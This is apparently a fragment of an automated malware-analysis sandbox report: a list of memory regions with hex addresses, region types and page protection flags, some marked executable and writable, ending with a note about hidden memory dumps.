trusted library allocation
page read and write
20BE000
stack
page read and write
10000
heap
page read and write
2D93000
heap
page read and write
CF6000
heap
page execute and read and write
461C000
trusted library allocation
page read and write
2433000
trusted library allocation
page read and write
960000
heap
page read and write
B0000
trusted library section
page read and write
497000
heap
page read and write
2FB0000
trusted library allocation
page read and write
1E5E000
stack
page read and write
4280000
trusted library allocation
page read and write
41E000
heap
page read and write
240000
trusted library allocation
page read and write
CF0000
heap
page execute and read and write
400000
system
page execute and read and write
627E000
stack
page read and write
622E000
stack
page read and write
2DC0000
heap
page read and write
5C0000
heap
page read and write
130000
trusted library allocation
page read and write
24E1000
heap
page read and write
534000
heap
page read and write
670000
heap
page read and write
1DD0000
trusted library allocation
page read and write
4BFF000
stack
page read and write
1F0000
heap
page read and write
275F000
stack
page read and write
3A0F000
heap
page read and write
37DF000
heap
page read and write
243000
trusted library allocation
page execute and read and write
3CD0000
heap
page read and write
4CEE000
unkown
page read and write
3A6000
stack
page read and write
302A000
heap
page read and write
42D000
heap
page read and write
283F000
stack
page read and write
B0000
trusted library section
page read and write
2DF3000
trusted library allocation
page read and write
3539000
trusted library allocation
page read and write
F52000
trusted library allocation
page read and write
4C6E000
stack
page read and write
There are 953 hidden memdumps, click here to show them.